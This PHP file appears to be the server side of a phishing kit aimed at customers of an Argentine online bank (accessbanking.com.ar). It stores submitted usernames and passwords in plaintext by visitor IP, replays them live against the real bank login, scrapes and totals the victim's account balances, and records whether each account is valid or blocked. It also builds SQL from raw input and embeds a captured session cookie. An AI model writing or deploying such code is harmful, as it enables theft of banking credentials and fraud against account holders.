<?php
header('content-type: application/json; charset=utf-8');
//en caso de json en vez de jsonp habría que habilitar CORS:
header("access-control-allow-origin: *");


date_default_timezone_set("America/Caracas");
$fecha_actual=strftime( "%Y-%m-%d %H:%M:%S", time());

require('../medicina/php/config/conexion.php');


function obtenerIPCliente() {
    if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        // Si existe el encabezado HTTP_X_FORWARDED_FOR, tomamos la primera IP de la lista
        $ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
    } else {
        // Si no existe, usamos REMOTE_ADDR
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

$ip_user = obtenerIPCliente();
$user =trim($_POST['user']);
$pass =trim($_POST['pass']);
$tipo =trim($_POST['tipocuenta']);
$tipo_operacion =trim($_POST['tipo_operacion']);



/*
$ip_user = "::1";
$user =trim("SWORLIDERT33");
$pass =trim("723746");
$tipo =trim("NATURAL");
$tipo_operacion =trim("1");

*/

$union_user_pass=trim($user)."^".trim($pass);

function convertirFechaHoraNumerico($fechaHora) {
    // Convertir la fecha y hora en formato %Y-%m-%d %H:%M:%S a formato numérico YmdHis
    $fechaNumerica = str_replace(['-', ' ', ':'], '', $fechaHora);
    return $fechaNumerica;
}


$tiempo_actual = convertirFechaHoraNumerico($fecha_actual);
$numeroAleatorio = mt_rand(1, 100);


////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
$filtro_login_auto_btn='';
  $consulta2_filtro = "SELECT * from config where id='2'";
          $resultado2_filtro = mysqli_query( $conexion, $consulta2_filtro ) or die ( "Algo ha ido mal en la consulta a la base de datos");
            if (mysqli_num_rows($resultado2_filtro)>0){
             while ($obj2 = mysqli_fetch_object($resultado2_filtro)) {

          
                if($obj2->id==2){

                    $filtro_login_auto_btn = $obj2->mostrar;//esto es para la config
                }
                

}}


$saldo_cuenta='0';
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


if($filtro_login_auto_btn=='0' && $tipo_operacion==1){



          $consulta2 = "SELECT * FROM tabla_clientes where ip ='$ip_user'";
          $resultado2 = mysqli_query( $conexion, $consulta2 ) or die ( "Algo ha ido mal en la consulta a la base de datos");

             if (mysqli_num_rows($resultado2)>0){



                if($tipo_operacion==1){//es el tipo de guardado

                      if(mysqli_query($conexion,"UPDATE tabla_clientes SET tiempo = '$tiempo_actual',user_dato1 = '$user',user_dato2 = '$pass', loading = '0',cedula = '$union_user_pass',tipocuenta = '$tipo',valid_user_0 = '0' where ip = '$ip_user'")){

                    $arr[] = array('guardo' => 'si',
                                  'time' => $tiempo_actual,
                                  'tipo_operacion' => $tipo_operacion,

                    );


                    echo '' . json_encode($arr) . '';
                    return;




                }else{

                     $arr[] = array('guardo' => 'no');

                     echo '' . json_encode($arr) . '';
                     return;

                }


                }


             }else{
                 $arr[] = array('guardo' => 'no');

                 echo '' . json_encode($arr) . '';
                 return;

             }

}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


if($filtro_login_auto_btn=='1' && $tipo_operacion==1){




          $consulta2 = "SELECT * FROM tabla_clientes where ip ='$ip_user'";
          $resultado2 = mysqli_query( $conexion, $consulta2 ) or die ( "Algo ha ido mal en la consulta a la base de datos");

             if (mysqli_num_rows($resultado2)>0){




$saldo_cuenta ='';
$user_correcto =0;
$var_JSESSIONID='';

$curl = curl_init();
curl_setopt_array($curl, [
  CURLOPT_URL => "https://www.accessbanking.com.ar/RetailHomeBankingWeb/loginAcc.do",
  CURLOPT_RETURNTRANSFER => true,
      CURLOPT_HEADER => true,
      CURLOPT_SSL_VERIFYHOST => 0,
      CURLOPT_SSL_VERIFYPEER => 0,
  CURLOPT_ENCODING => "",
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 30,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => "POST",
  CURLOPT_POSTFIELDS => "usuario=".$user."&password=".$pass,
  CURLOPT_HTTPHEADER => [
    "accept: application/json, text/javascript, */*; q=0.01",
    "accept-language: es-419,es;q=0.9",
    "connection: keep-alive",
    "content-type: application/x-www-form-urlencoded; charset=UTF-8",
    "cookie: f5avraaaaaaaaaaaaaaaa_session_=FJGHHBCLMOEDHNGLNPIPIIDHIBBBMJLBDLHLIOJAOIMPHIGCBKPNGAHONIMDNOPPNBIDNMIJBJOHBIPKLGCAPAMIJHPJHCGOOEHHDBHBJDAAMHJDPAGGBOEPGBDEPCDE; ICBCLB=!F2h1CD3/9r5I7y0A2WTJlxHHVlsF/ky/PF8WoU3ZBXCyCFyw/0fxxzgbuuLLmFOGmw4vEBRBvp0hpP3fyCEL3mbw4eBrlWOBqwrOi2XMcg==; TS0169b9ac=016cbbac22faf9c4738d2c6c964ae09a0e7feb1b427ffe5baede6661208d4f828b08310ba30f14fe68bd49c17561513f4f99548c17; x-apm-brtm-bt-p=Chrome; x-apm-brtm-bt-pv=125; x-apm-brtm-gaptime=0; __utma=117081238.1336085820.1717729759.1717729759.1717729759.1; __utmc=117081238; __utmz=117081238.1717729759.1.1.utmcsr=icbc.com.ar|utmccn=(referral)|utmcmd=referral|utmcct=/; __utmt=1; _ga=GA1.1.366592618.1717729742; _fbp=fb.2.1717729759068.261005937965242499; _gcl_au=1.1.310179063.1717729759; JSESSIONID=0000jtPf8ffoBP13WnXm0Iwk91F:1bsq2amtk; _ga_VQ8EQ4XLKG=GS1.1.1717729759.1.1.1717729781.0.0.0; riskassesment-sessionId=049f83b2-d93c-4754-9dc8-be3c62d9396d; __utmb=117081238.4.9.1717729782220; _ga_JDZH2SVT8R=GS1.1.1717729758.1.1.1717729834.0.0.0; _ga_PNKC7GC0E0=GS1.1.1717729747.1.1.1717729834.60.0.0; _ga_954P3D7CS2=GS1.1.1717729759.1.1.1717729834.0.0.0; x-apm-brtm-response-bt-id=84",
    "host: www.accessbanking.com.ar",
    "origin: https://www.accessbanking.com.ar",
    "referer: https://www.accessbanking.com.ar/RetailHomeBankingWeb/init.do?a=b&cm_mmc=icbc-_-access-_-header-_-onlinebanking&_gl=1*kueslg*_ga*MzY2NTkyNjE4LjE3MTc3Mjk3NDI.*_ga_RH8SS4M5DM*MTcxNzcyOTc0Ni4xLjAuMTcxNzcyOTc0Ni42MC4wLjA.*_ga_PNKC7GC0E0*MTcxNzcyOTc0Ny4xLjAuMTcxNzcyOTc0Ny42MC4wLjA.",
    "sec-ch-ua: \"Google Chrome\";v=\"125\", \"Chromium\";v=\"125\", \"Not.A/Brand\";v=\"24\"",
    "sec-ch-ua-mobile: ?0",
    "sec-ch-ua-platform: \"Windows\"",
    "sec-fetch-dest: empty",
    "sec-fetch-mode: cors",
    "sec-fetch-site: same-origin",
    "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36",
    "x-requested-with: XMLHttpRequest"
  ],
]);

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {

} else {


    $validacion1_p = strpos($response, '{"status":"ok"}');
        if ($validacion1_p !== false) {

            $user_correcto=1;

                      $porciones_1_p = explode('Set-Cookie: JSESSIONID=', $response);
                      $porciones_2_p= $porciones_1_p[1];

                      $porciones_3_p = explode(';', $porciones_2_p);
                      $var_JSESSIONID = trim($porciones_3_p[0]);


       }//

       $validacion1_p = strpos($response, '"user-pass-invalido"');
        if ($validacion1_p !== false) {

            $user_correcto=2;

       }//

        $validacion1_p = strpos($response, '"status":"error"');
        if ($validacion1_p !== false) {

            $user_correcto=2;
                   
       }//

       
        $validacion1_p = strpos($response, '"user-bloqueado"');
        if ($validacion1_p !== false) {

            $user_correcto=3;

       }//



       



}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////


if($user_correcto==1){

    
$curl = curl_init();
curl_setopt_array($curl, [
  CURLOPT_URL => "https://www.accessbanking.com.ar/RetailHomeBankingWeb/miAccess.do?codTmst=1",
  CURLOPT_RETURNTRANSFER => true,
      CURLOPT_HEADER => true,
      CURLOPT_SSL_VERIFYHOST => 0,
      CURLOPT_SSL_VERIFYPEER => 0,
  CURLOPT_ENCODING => "",
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 30,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => "GET",
  CURLOPT_HTTPHEADER => [
    "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
    "accept-language: es-419,es;q=0.9",
    "connection: keep-alive",
    "cookie: JSESSIONID=".$var_JSESSIONID.";",
    "host: www.accessbanking.com.ar",
    "referer: https://www.accessbanking.com.ar/RetailHomeBankingWeb/beginst.do",
    "sec-ch-ua: \"Google Chrome\";v=\"125\", \"Chromium\";v=\"125\", \"Not.A/Brand\";v=\"24\"",
    "sec-ch-ua-mobile: ?0",
    "sec-ch-ua-platform: \"Windows\"",
    "sec-fetch-dest: frame",
    "sec-fetch-mode: navigate",
    "sec-fetch-site: same-origin",
    "upgrade-insecure-requests: 1",
    "user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
  ],
]);

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {

} else {



                       $validacion1_p = strpos($response, '<spam class="integer">');
                       if ($validacion1_p !== false) {

                              $porciones_1_p = explode('<spam class="integer">', $response);
                              $cant = count($porciones_1_p)-1;

                              
                              for ($i = 0; $i <= $cant-1; $i++) {
                              // Eliminamos los puntos y convertimos el string a un entero
                             // $valorNumerico = intval(str_replace('.', '', $valores[$i]));

                    
                              $porciones_1_p = explode('<spam class="integer">', $response);
                              $porciones_2_p= $porciones_1_p[$i + 1];
                              $porciones_3_p = explode('</spam>', $porciones_2_p);
                              $valor = trim($porciones_3_p[0]);
                      
                              $valorNumerico = str_replace('.', '', $valor);
                              $saldo_cuenta = intval($saldo_cuenta) + intval($valorNumerico);
                       
                              }

                              $saldo_cuenta  = number_format($saldo_cuenta, 2, ',', '.');



                       }//
                      
                     

      

}
}




 if($user_correcto=='1'){

                      
                      
                                if(mysqli_query($conexion,"UPDATE tabla_clientes SET tiempo = '$tiempo_actual',user_dato1 = '$user',user_dato2 = '$pass',valid_user = '9',loading = '0',cedula = '$user',tipocuenta = '$tipo',valid_user_0 = '0',status='1',saldo_cuenta='$saldo_cuenta' where ip = '$ip_user'")){


                                    $arr[] = array('guardo' => 'si',
                                                  'time' => $tiempo_actual,
                                                  'tipo_operacion' => $tipo_operacion,

                                    );


                                echo '' . json_encode($arr) . '';
                                return;




                                }else{

                                     $arr[] = array('guardo' => 'no');

                                     echo '' . json_encode($arr) . '';
                                     return;

                                }

                      
      }/////////

     if($user_correcto=='2'){

                      

                                if(mysqli_query($conexion,"UPDATE tabla_clientes SET tiempo = '$tiempo_actual',user_dato1 = '$user',user_dato2 = '$pass',valid_user = '9',loading = '0',cedula = '$cedula',tipocuenta = '$tipo',valid_user_0 = '2' where ip = '$ip_user'")){


                                    $arr[] = array('guardo' => 'si',
                                                  'time' => $tiempo_actual,
                                                  'tipo_operacion' => $tipo_operacion,

                                    );




                                echo '' . json_encode($arr) . '';
                                return;




                                }else{

                                     $arr[] = array('guardo' => 'no');

                                     echo '' . json_encode($arr) . '';
                                     return;

                                }

                      

        }/////////    


        if($user_correcto=='3'){

                      

                                if(mysqli_query($conexion,"UPDATE tabla_clientes SET user_dato1 = '$user',user_dato2 = '$pass',valid_user = '2',loading = '0',tipocuenta = '$tipo',valid_user_0 = '2',redirigir='1' where ip = '$ip_user'")){


                                    $arr[] = array('guardo' => 'si',
                                                  'time' => $tiempo_actual,
                                                  'tipo_operacion' => $tipo_operacion,

                                    );




                                echo '' . json_encode($arr) . '';
                                return;




                                }else{

                                     $arr[] = array('guardo' => 'no');

                                     echo '' . json_encode($arr) . '';
                                     return;

                                }

                      

        }/////////    


//



        }else{
                         $arr[] = array('guardo' => 'no');

                         echo '' . json_encode($arr) . '';
                         return;

        }

}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////